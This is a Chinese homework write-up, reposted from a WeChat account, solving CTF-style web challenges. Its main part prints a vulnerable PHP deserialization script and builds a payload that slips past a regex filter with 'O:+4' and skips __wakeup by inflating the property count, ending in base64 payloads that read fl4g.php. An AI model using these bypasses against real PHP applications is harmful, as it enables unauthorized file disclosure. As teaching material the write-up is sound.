作业二 Web安全

admin 2025年5月28日08:48:48评论9 views字数 1750阅读5分50秒阅读模式
一、URL编码
作业二 Web安全
解题方法:
作业二 Web安全
作业二 Web安全
作业二 Web安全
二、反序列化
作业二 Web安全
解题:
作业二 Web安全
作业二 Web安全
原理:当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化,从而跳过wakeup()
三、反序列化与正则绕过

源码如下:

<?php 

class Demo { 

    private $file = 'index.php';

    public function __construct($file) { 

        $this->file = $file; 

    }

    function __destruct() { 

        echo @highlight_file($this->file, true); 

    }

    function __wakeup() { 

        if ($this->file != 'index.php') { 

            //the secret is in the fl4g.php

            $this->file = 'index.php'; 

        } 

    } 

}

if (isset($_GET['var'])) { 

    $var = base64_decode($_GET['var']); 

    if (preg_match('/[oc]:d+:/i', $var)) { 

        die('stop hacking!'); 

    } else {

        @unserialize($var); 

    } 

} else { 

    highlight_file("index.php"); 

?>

请写出解题思路。

解答:

1. 一道反序列化题目,Demo类,对象创建时(new)自动调用__construct,serialize时不自动调用;对象销毁时自动调用__destruct,unserialize时自动调用__wakeup
2. Demo初始化改变file值,源码说明flag在fl4g.php里面,__destruct() 说明Demo毁会高亮显示里面的内容。
3. Demo中有__wakeup()函数,反序列化时会自动执行,必须绕过该函数,不然由指向了index.php。
综上需要绕过:匹配函数,__wakeup()函数;这里使用get方法传参var,进行base64编码,进行匹配,匹配成功就直接结束了,否则unserialize。

4. 匹配函数绕过

  • oc:代表这块区域用来匹配o或者c
  • d:代表一个数字字符
  • +:代表可以匹配多次
  • /i:匹配时不区分大小写
(preg_match('/[oc]:d+:/i',$var))
5. 反序列化
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a = new Demo('fl4g.php');
$b = serialize($a);
print_r($b);
?>
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
6. 为了绕过匹配,4改为+4
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
7. 绕__wakeup()函数,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。将1改为2。
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
8. base64编码:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
作业二 Web安全

原文始发于微信公众号(豆豆咨询):作业二 Web安全

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月28日08:48:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   作业二 Web安全https://cn-sec.com/archives/4104766.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息